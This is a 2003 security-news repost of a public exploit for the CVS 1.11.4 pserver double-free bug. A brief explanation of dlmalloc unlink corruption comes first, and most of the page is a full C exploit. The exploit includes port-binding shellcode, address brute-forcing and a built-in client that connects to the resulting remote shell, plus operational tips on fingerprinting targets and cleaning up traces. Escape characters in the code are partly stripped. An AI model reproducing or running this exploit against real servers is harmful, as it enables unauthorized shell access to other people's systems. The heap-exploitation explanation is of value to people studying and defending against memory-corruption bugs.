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Home » Hacking News » Exploit for CVS double free() for Linux pserver

Exploit for CVS double free() for Linux pserver

by Nikola Strahija on February 4th, 2003 A bug in cvs versions up to and including 1.11.4 was recently found where, under certain conditions, a pointer is free()'d, and then free()'d again without being re-initialised.


The reports with regards to the exploitability of the condition in
question range from -
"it is a classical exploitable double-free()" to "may possibly be
exploited".
I have written an exploit for Linux for pserver, and contrary to my usual
practice, decided to make it public.
First, I couldn't find any papers on the internet that would explain the
exploitation techniques of
double-free(), and I believe we don't have many publically available
exploits or in-depth discussion on the matter.
I hope that this little explanation that I've put together, and the
exploit itself may be somewhat useful
to the hacker/security community (we can't exist without each other, can
we? :)
The impact of a successful exploitation is not that great: an unprivileged
access to the system,
where your calls to getuid() will return a number that's far from 0 (cvs
drops provileges, and does it right).
The audience is expected to be familiar with D.L. malloc implementation.
The explanation of how D.L. malloc works can be found in two articles in
phrack 57.

If a request for a memory chunk is made, and if chunks that are kept in
linked lists, or the last remaindered chunk
cannot satisfy the requirement, the top memory chunk is split off, and a
chunk of the right size is returned
to malloc(). When this chunk is later free()'d, it may be coalesced with
other adjacent chunks if any of
the adjacent chunks are free. If not, the chunk is placed in a linked
list. After being processed by
the frontlink() macro, the linked list looks like this: we have two items
in the list, the bin and the chunk,
both BK and FD pointers of the bin point to the chunk, and both BK and FD
pointers of the chunk point to the bin.
Now, should this chunk be free()'d again, while on the linked list, the
picture changes. After the second free()
is called and the chunk is processed by the frontlink() again, we have
both BK and FD pointers of the bin still
pointed at the chunk, but both BK and FD pointers of the chunk will point
to itself !!!
Take a look now at the unlink() macro. This macro is called when taking a
chunk off the list:
#define unlink( P, BK, FD ) {
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}
Remember that we have now P = P->bk = P->fd. What changes when this chunk
is passed though unlink()? Nothing!
This means that ALL subsequent calls to malloc of the size our chunk will
be returning the same chunk, the one that was double-free()'d.
The rest is easy. After the chunk was double-free()'d, we make a request
to the program that will have to allocate
the double-free()'d chunk back to us, and copy the data we supply into the
memory returned to us.
Well, since the chunk is allocated, the backward and forward pointers are
not used, and user data gets straight there.
We will copy 2 addresses into the first 8 bytes of the chunk.
Now, we make another request to the program that will have to allocate to
us the same chunk. It will be passed through
the unlink() again, but this time, since the chunk is considered free, its
BK and FD pointers are used,
and lo and behold! We can overwrite any address in the memory with 4 bytes
of our choosing.


Now, how this particular exploit works:
1. First we allocate a chunk of some size and make sure this chunk
comes from the top memory chunk.
Also make sure that this chunk stays allocated while we're
exploiting. This will keep our directory chunk
from being coalesced with the previous chunk.
2. Allocate the Directory chunk, make sure it comes from the top memory
chunk.
3. Allocate a chunk the same size as in step 1, for the same reason,
except that it will keep our Directory chunk
from being coalesced with the next chunk.
4. Now that our exploitable chunk is secure, allocate a big chunk for
us to put shellcode, jumps and noops,
4K in this exploit.
5. free() our directory chunk twice.
6. Ask the server to malloc() a chunk of the size that was
double-free()'d, it will give us the very same
double-free()'d chunk without actually taking it off its linked list;
7. the server will strcpy() our 2 addresses we provide into the first 8
bytes of our double-free()'d once
malloc()'ed chunk.
8. Ask the server to again malloc() a chunk of the size that was
double-free()'d, upon which again our chunk is
malloc()'ed, passed through unlink(), overwriting memory.

Exploit:

/*******************************************************/
/* Exploit for CVS double free() in dirswitch() for Linux pserver */
/* Usage instructions:
Any access to the pserver will work, anonymous is enough.
The exploit tries to bind to port 30464 on the target and exec a shell on connection,
It will connect there itself and pass control to you if it succeeds. Accidentally, this means that
if that port is firewalled, the exploit will fail.
Here's what you need to do:
1. Compile the proggie: gcc -o sploit this_file.c
2. Make sure the target is running Linux, use nmap -O, it won't work unless it's a Linux
3. Run the proggie: ./sploit -r repository -u user [ -p password if not empty ] target_host
4. Look for output, if the exploit doesn't work:
a. If after readjusting in memory ( you will be told when it happens ) the figures that you see
(return codes) are 3's, and nothing else, tweak the -j parameter, the default is 7, but
I had to use 0 on a debian cvs 1.11.1, it worked in the end, you might even try low negative integers
b. If after readjusting you see not only 3's but 0's, occasionally -2's and others,
but 0's are of interest, then chances are the -j is correct, then set the -s to 4,
setting it to 4 means it will bruteforce for longer, but will try every address
5. If successful, clean up the mess after yourself: rm -rf /tmp/cvs*
6. Enjoy it even if you don't break in anywhere :)
*/


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/*
Exploit by Igor Dobrovitski, January 2003

And I gave my heart to know wisdom, and to know madness and folly: I perceived that this also is vexation of spirit.
For in much wisdom is much grief: and he that increaseth knowledge increaseth sorrow.
*/

#define NM "Out of memory"

void usage(void);
void die(const char*);
char* ystrdup(const char*);
int connect_to_host(char*, int, int*, int*);
int authenticate(char*, char*, char*, int, int);
char* scramble(char*);
int talk(char*, int);
int get(char*, int, int);
void done(char*, int);

static char *progname;
static int timeout = 1; /* timeout on select() on read() in seconds when reading from target */
static char shellcode[]=

/* I grabbed this shellcode from someone's exploit, thanks heaps to whoever wrote this monster, saved me heaps of time on
a few occasions :)
*/
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"x31xc0" // xorl %eax,%eax
"x31xdb" // xorl %ebx,%ebx
"x31xc9" // xorl %ecx,%ecx
"x31xd2" // xorl %edx,%edx
"xb0x66" // movb $0x66,%al
"xb3x01" // movb $0x1,%bl
"x51" // pushl %ecx
"xb1x06" // movb $0x6,%cl
"x51" // pushl %ecx
"xb1x01" // movb $0x1,%cl
"x51" // pushl %ecx
"xb1x02" // movb $0x2,%cl
"x51" // pushl %ecx
"x8dx0cx24" // leal (%esp),%ecx
"xcdx80" // int $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"xb3x02" // movb $0x2,%bl
"xb1x02" // movb $0x2,%cl
"x31xc9" // xorl %ecx,%ecx
"x51" // pushl %ecx
"x51" // pushl %ecx
"x51" // pushl %ecx
/* port = 0x77, change if needed */
"x80xc1x77" // addb $0x77,%cl
"x66x51" // pushl %cx
"xb1x02" // movb $0x2,%cl
"x66x51" // pushw %cx
"x8dx0cx24" // leal (%esp),%ecx
"xb2x10" // movb $0x10,%dl
"x52" // pushl %edx
"x51" // pushl %ecx
"x50" // pushl %eax
"x8dx0cx24" // leal (%esp),%ecx
"x89xc2" // movl %eax,%edx
"x31xc0" // xorl %eax,%eax
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80

/* listen(fd, 1) */
"xb3x01" // movb $0x1,%bl
"x53" // pushl %ebx
"x52" // pushl %edx
"x8dx0cx24" // leal (%esp),%ecx
"x31xc0" // xorl %eax,%eax
"xb0x66" // movb $0x66,%al
"x80xc3x03" // addb $0x3,%bl
"xcdx80" // int $0x80

/* cli = accept(fd, 0, 0) */
"x31xc0" // xorl %eax,%eax
"x50" // pushl %eax
"x50" // pushl %eax
"x52" // pushl %edx
"x8dx0cx24" // leal (%esp),%ecx
"xb3x05" // movl $0x5,%bl
"xb0x66" // movl $0x66,%al
"xcdx80" // int $0x80

/* dup2(cli, 0) */
"x89xc3" // movl %eax,%ebx
"x31xc9" // xorl %ecx,%ecx
"x31xc0" // xorl %eax,%eax
"xb0x3f" // movb $0x3f,%al
"xcdx80" // int $0x80

/* dup2(cli, 1) */
"x41" // inc %ecx
"x31xc0" // xorl %eax,%eax
"xb0x3f" // movl $0x3f,%al
"xcdx80" // int $0x80

/* dup2(cli, 2) */
"x41" // inc %ecx
"x31xc0" // xorl %eax,%eax
"xb0x3f" // movb $0x3f,%al
"xcdx80" // int $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"x31xdb" // xorl %ebx,%ebx
"x53" // pushl %ebx
"x68x6ex2fx73x68" // pushl $0x68732f6e
"x68x2fx2fx62x69" // pushl $0x69622f2f
"x89xe3" // movl %esp,%ebx
"x8dx54x24x08" // leal 0x8(%esp),%edx
"x31xc9" // xorl %ecx,%ecx
"x51" // pushl %ecx
"x53" // pushl %ebx
"x8dx0cx24" // leal (%esp),%ecx
"x31xc0" // xorl %eax,%eax
"xb0x0b" // movb $0xb,%al
"xcdx80" // int $0x80

/* exit(%ebx) */
"x31xc0" // xorl %eax,%eax
"xb0x01" // movb $0x1,%al
"xcdx80"; // int $0x80



int
main (int argc, char **argv)
{
int i, c, fd_in, fd_out;
int port = 2401;
int dir_len, arglen;
char *user = NULL, *passwd = "", *repos = NULL, *host = NULL;
char outbuf[4096], readbuf[4096];
#define MAX_ARG_SIZE 4085
int got_i, got_low, got_high, got_step, heap_i, heap_low, heap_high, heap_step;
int found = 0;
int version[3];
int jump = 7;
int step = 24;

progname = ystrdup(argv[0]);
while((c = getopt(argc, argv, "a:j:p:r:s:t:u:")) != -1)
{
switch(c)
{
case 'a':
port = atoi(optarg);
if(!port) die("Illegal port");
break;
case 'j':
jump = atoi(optarg);
if(!jump) die("Illegal jump");
break;
case 'p':
passwd = ystrdup(optarg);
break;
case 'r':
repos = ystrdup(optarg);
break;
case 's':
step = atoi(optarg);
if(!step) die("Illegal step");
break;
case 't':
timeout = atoi(optarg);
if(!timeout) die("Illegal timeout");
break;
case 'u':
user = ystrdup(optarg);
break;
default:
die("Couldn't parse options");
}
}
if(!(user && repos)) usage();
if(optind != argc - 1) usage();
host = ystrdup(argv[optind]);

signal(SIGPIPE, SIG_IGN);

/* Check server version */
if(connect_to_host(host, port, &fd_in, &fd_out))
die("Couldn't connect");
if(authenticate(repos, user, passwd, fd_in, fd_out))
die("Couldn't authenticate");
strcpy(outbuf, "versionn");
if(talk(outbuf, fd_out))
die("Couldn't talk to server");
readbuf[0] = 0;
while(!strchr(readbuf, 'n'))
{
if(get(readbuf + strlen(readbuf), sizeof(readbuf) - strlen(readbuf), fd_in) < 0)
die("Couldn't get from server");
}

fprintf(stderr, "%sn", readbuf);
sscanf(readbuf, "%*[a-zA-Z()t ]%d.%d.%d", &version[0], &version[1], &version[2]);
if(version[0] * 100 + version[1] * 10 + version[2] > 214) /* version > 1.11.4 */
{
fprintf(stderr, "This version of cvs is immune to the bug we're trying to exploitn");
exit(0);
}

/* Find the right length to malloc() */
for(dir_len = 65; dir_len <= 255; dir_len += 8)
{
int count;
int status = 0;
for(count = 0; count < 2; count++)
{

arglen = dir_len + 56; /* to make sure we're allocating chunks of the same size */
/* 56 is a magic number in this context */

/* Connect and authenticate */
close(fd_out);
if(fd_in != fd_out) close(fd_in);
if(connect_to_host(host, port, &fd_in, &fd_out))
die("Couldn't connect");
if(authenticate(repos, user, passwd, fd_in, fd_out))
die("Couldn't authenticate");

/* Root request */
snprintf(outbuf, sizeof(outbuf), "Root %sn", repos);
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}


/* We need to keep our precious chunk from being coalesced with others when it or a chunk next to it is free()'d
So we allocate chunks before and after it, trying to make them come from the main arena, thus being adjacent to ours
*/
strcpy(outbuf, "Argument ");
for(i = 0; i < arglen - 48; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = 'n';
outbuf[9 + i] = '';

if(talk(outbuf, fd_out))
{
count = 2;
continue;
}


/* 1st Directory request, valid directory name, intialize the static ptr, make first allocation of memory for the dir_name */
strcpy(outbuf, "Directory ");
for(i = 0; i < dir_len; i++)
outbuf[i + 10] = '0';
outbuf[i + 10] = 'n';
outbuf[i + 11] = '';
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}

snprintf(outbuf, sizeof(outbuf), "%sn", repos);
if(talk(outbuf, fd_out))
{
count = 2;
continue;
}

/* ditto */
strcpy(outbuf, "Argument ");
for(i = 0; i < arglen - 48; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = 'n';
outbuf[9 + i] = '';

if(talk(outbuf, fd_out))
{
count = 2;
continue;
}


/* Make the dirswitch double-free dir_name */
for(c = 0; c < 2; c++)
{
strcpy(outbuf, "Directory ");
for(i = 0; i < dir_len - 1; i++)
outbuf[i + 10] = '0';
outbuf[i + 11] = '/';
outbuf[i + 12] = 'n';
outbuf[i + 13] = '';
if(talk(outbuf, fd_out))
{
count = 2;
break;
}

snprintf(outbuf, sizeof(outbuf), "%sn", repos);
if(talk(outbuf, fd_out))
{
count = 2;
break;
}

/* Need to clear the pending_error thingy */
strcpy(outbuf, "noopn");
if(talk(outbuf, fd_out))
{
count = 2;
break;
}
if(get(readbuf, sizeof readbuf, fd_in) < 0)
{
count = 2;
break;
}
}

/* At this stage all calls to malloc of the right size should be returning our chunk, the heap is corrupted,
the first call to malloc() will allocate the chunk, and strcpy() our memory addresses into the first 8 bytes,
the second call to malloc() will again return our chunk, passing it through the unlink() and overwriting memory
*/


strcpy(outbuf, "Argument ");

*((void **) (outbuf + 9)) = (void *) ( 0 == count ? 0xbfffffef : 0x01020304);
*((void **) (outbuf + 13)) = (void *) ( 0 == count ? 0xbfffffef : 0x01020304);

for(i = 9; i < arglen; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = 'n';
outbuf[9 + i] = '';

for(c = 0; c < 2; c++)
if(talk(outbuf, fd_out))
{
count = 2;
break;
}

/* At this stage, if the dir_len is right, our double-free()'d chunk has been malloc'd twice, and only twice */
talk("noopn", fd_out);
c = get(readbuf, sizeof readbuf, fd_in);
if(0 == count && 3 == c) /* on the first pass the server doesn't segfault as it's able to write near the address 0xbfffffcf */
status++;
else if(1 == count && (0 == c || -1 == c)) /* on the 2nd pass the server segfaults as it can't write near the address 0x01020304 */
status++;
fprintf(stderr, "%d: %dn", count, c);
}
if(2 == status)
break;
}
if(dir_len > 255) die("Couldn't find exploitable chunk size");
fprintf(stderr, "Found the right dir_len: %d bytesn", dir_len);


/* ok, now for exploitation,
this is a classical "overwrite any integer" case, we have no clue where in the heap our shellcode is, or what
exactly we're overwriting. We're able to smuggle 4Kb of assembly code into the program, which sounds formiddable, so...
Bruteforce !!! btw, the next library call after the last malloc() is strcpy(). I wish I knew where its GOT is...
*/

//#define GOT_LOW 0x080ca5e4
#define GOT_LOW 0x080c1010
//#define GOT_HIGH 0x080ca5e4
#define GOT_HIGH 0x080efffc
#define GOT_STEP 10000
#define HEAP_LOW 0x080c1010
#define HEAP_HIGH 0x080efffc
#define HEAP_STEP 40000
//#define HEAP_STEP 4000

got_low = GOT_LOW;
got_high = GOT_HIGH;
got_step = GOT_STEP;
heap_low = HEAP_LOW;
heap_high = HEAP_HIGH;
heap_step = HEAP_STEP;

LOOP:
for(got_i = got_low; got_i <= got_high; got_i += got_step)
{
if(!(got_i & 0xff) || !(got_i >> 8 & 0xff)) continue; /* can't have nul bytes */
fprintf(stderr, "Using address %#xn", got_i);
for(heap_i = heap_low; heap_i <= heap_high; heap_i += heap_step)
{
if(!(heap_i & 0xff) || !(heap_i >> 8 & 0xff)) continue;

/* Connect and authenticate */
close(fd_in);
if(fd_out != fd_in)
close(fd_out);
if(connect_to_host(host, port, &fd_in, &fd_out))
die("Couldn't connect");
if(authenticate(repos, user, passwd, fd_in, fd_out))
die("Can't authenticate");

/* Root request */
snprintf(outbuf, sizeof(outbuf), "Root %sn", repos);
if(talk(outbuf, fd_out))
continue;


/* Explained earlier */
strcpy(outbuf, "Argument ");
for(i = 0; i < arglen - 48; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = 'n';
outbuf[9 + i] = '';

if(talk(outbuf, fd_out))
continue;


/* 1st Directory request, valid directory name, intialize the static ptr, make first allocation of memory for the dir_name */
strcpy(outbuf, "Directory ");
for(i = 0; i < dir_len; i++)
outbuf[i + 10] = '0';
outbuf[i + 10] = 'n';
outbuf[i + 11] = '';
if(talk(outbuf, fd_out))
continue;

snprintf(outbuf, sizeof(outbuf), "%sn", repos);
if(talk(outbuf, fd_out))
continue;


/* ditto */
strcpy(outbuf, "Argument ");
for(i = 0; i < arglen - 48; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = 'n';
outbuf[9 + i] = '';

if(talk(outbuf, fd_out))
continue;


/* Allocate a chunk, make it as big as possible, put jmp's, nops and shellcode there */
/*
As it happens, unlink() will always write a 4-byte address 8 bytes from the place in the shellcode it will jump to,
so we can't just provide a classical cushion of nops, but we can provide a cushion of jmp's, so it will look like this:
|jmp x7f|jmp x7f|...|nop|nop|...shellcode
*/

strcpy(outbuf, "Argument ");
for(i = 0; i < MAX_ARG_SIZE - sizeof(shellcode) - 0x80; i+=2)
{
outbuf[i + 9] = 0xeb;
outbuf[i + 10] = 0x7f;
}
for(; i < MAX_ARG_SIZE - sizeof(shellcode) - 1; i++)
outbuf[i + 9] = 0x90;
strcpy(outbuf + i + 9, shellcode);
outbuf[i + 9 + sizeof(shellcode) - 1] = 'n';
outbuf[i + 10 + sizeof(shellcode) - 1] = '';

if(talk(outbuf, fd_out))
continue;

/* Make the dirswitch double-free dir_name */
for(c = 0; c < 2; c++)
{
strcpy(outbuf, "Directory ");
for(i = 0; i < dir_len - 1; i++)
outbuf[i + 10] = '0';
outbuf[i + 11] = '/';
outbuf[i + 12] = 'n';
outbuf[i + 13] = '';
if(talk(outbuf, fd_out))
break;
snprintf(outbuf, sizeof(outbuf), "%sn", repos);
if(talk(outbuf, fd_out))
break;

/* Need to clear the pending_error thingy */
strcpy(outbuf, "noopn");
if(talk(outbuf, fd_out))
break;
if(get(readbuf, sizeof readbuf, fd_in) < 0)
break;
}


strcpy(outbuf, "Argument ");
*((void **) (outbuf + 9)) = (void *) (got_i - 12);
*((void **) (outbuf + 13)) = (void *) heap_i;

for(i = 9; i < arglen; i++)
outbuf[9 + i] = '0';
outbuf[9 + i++] = 'n';
outbuf[9 + i] = '';

for(c = 0; c < 2; c++)
if(talk(outbuf, fd_out))
break;

/* At this stage, the server may have: a. segfaulted, b. continued, c. jumped to shellcode */
talk("noopn", fd_out);
c = get(readbuf, sizeof readbuf, fd_in);
fprintf(stderr, "%dn", c);

/* the next 'if' block determines our position in the heap by the answers it receives from the server
We start searching low in the heap, and segfault the server, since it can't write to those sections.
The first writable section we hit is .data
On the most-used gcc-2.96 (which isn't a gcc version as such, so it's strange everyone is so fond of it),
we can say that .got is circa 7K up from the start of .data on a recent cvs version
*/
if(3 == c)
{
if(!found)
{
fprintf(stderr, "Hit writeable memory, readjustingn");
found = 1;
got_low = got_i + jump * 1024;
heap_low = got_low + 1024;
got_high = got_low + 1024;
got_step = step;
heap_step = (MAX_ARG_SIZE - 0x80 - sizeof(shellcode)) & ~1;
goto LOOP;
}
else
break;
}


}
done(host, 30464);
}
fprintf(stderr, "The exploit didn't work on this host, sorry...n");
return 0;
}

int
connect_to_host (char *host, int port, int *fd_in, int *fd_out)
{
if(!strcmp(host, "local"))
{
/* I used this for debugging, not to worry */
*fd_in = 0;
*fd_out = 1;
}
else
{
int sock, optval = 1;
struct sockaddr_in target = { 0 };
struct hostent *he;
target.sin_family = PF_INET;
he = gethostbyname(host);
if(NULL == he)
{
char *msg = malloc(strlen(host) + 50);
if(NULL == msg) die(NM);
sprintf(msg, "Couldn't resolve host %s", host);
die(msg);
}
target.sin_addr = *((struct in_addr *)he->h_addr);
target.sin_port = htons(port);

if((sock = socket(PF_INET, SOCK_STREAM, 6)) == -1)
{
perror("socket");
exit(1);
}
if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval))
perror("setsockopt");

if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)))
{
return -1;
}
*fd_in = *fd_out = sock;
}
usleep(500000); /* make inetd happy */
return 0;
}

int
authenticate (char *repos, char *user, char *passwd, int fd_in, int fd_out)
{
char buf[16];
char *out = malloc(50 + strlen(repos) + strlen(user) + strlen(passwd));
if(NULL == out) die(NM);

sprintf(out, "BEGIN AUTH REQUESTn"
"%sn"
"%sn"
"%sn"
"END AUTH REQUESTn", repos, user, scramble(passwd));

if(talk(out, fd_out)) die("Socket write error");
free(out);
get(buf, sizeof buf, fd_in);
return strcmp(buf, "I LOVE YOUn");
}



int
talk (char *buf, int fd)
{
int written = 0;
int ret = -1;
fd_set writefd;
struct timeval tv = { 0 };
int len = strlen(buf);

FD_ZERO(&writefd);
FD_SET( fd, &writefd);

if(select(fd+1, NULL, &writefd, NULL, &tv))
{
#ifdef DEBUG
fprintf(stderr, "talk: %s", buf);
#endif
if(len)
written = write(fd, buf, len);
ret = (written != len); /* 0 on success */
}
return ret;
}

int
get (char *buf, int len, int fd)
{
fd_set readfd;

int ret = -2;
struct timeval tv;

FD_ZERO(&readfd);
FD_SET( fd, &readfd);

tv.tv_sec = timeout;
tv.tv_usec = 0;

if(select(fd+1, &readfd, NULL, NULL, &tv))
{
buf[0] = 0;
ret = read(fd, buf, len - 1);

#ifdef DEBUG
fprintf(stderr, "get: %s", buf);
#endif

buf[ret] = '';
}
return ret;
}

void
usage (void)
{
fprintf(stderr, "Usage: %s -r repository -u username [ -p password ] [ -a port ] "
"[ -t timeout ] [ -j integer around 0 to 10, default 7, obscure feature ]"
" [ -s step integer between 4 and 24, multiple of 4, step for bruteforcing ] hostn"
"e.g: %s -r /usr/local/cvs -u anonymous -p hellon", progname, progname);
exit(1);
}

void
die (const char *msg)
{
fprintf(stderr, "%s: %sn", progname, msg);
exit(1);
}

char*
ystrdup (const char *s)
{
char *foo = strdup(s);
if(NULL == foo) die(NM);
return foo;
}

char*
scramble ( char *str)
{
int i;
char *s;

unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

s = malloc (strlen (str) + 2);
if(NULL == s) die(NM);

s[0] = 'A';
strcpy (s + 1, str);

for (i = 1; s[i]; i++)
s[i] = shifts[(unsigned char)(s[i])];

return s;
}

void
done (char* host, int port)
{
int sock;
if(connect_to_host(host, port, &sock, &sock))
return;
fprintf(stderr, "You've broken in, and here's your prizenn");
signal(SIGPIPE, SIG_DFL);
if(fork())
{
char buf[1024];
int len;
write(sock, "idn", 3);
while((len = read(0, buf, sizeof(buf))) != EOF)
{
write(sock, buf, len);
}
}
else
{
char buf[1024];
int len;
while((len = read(sock, buf, sizeof(buf) - 1)) != EOF)
{
buf[len] = '';
fprintf(stderr, "%s", buf);
}
}
}

/*******************************************************/


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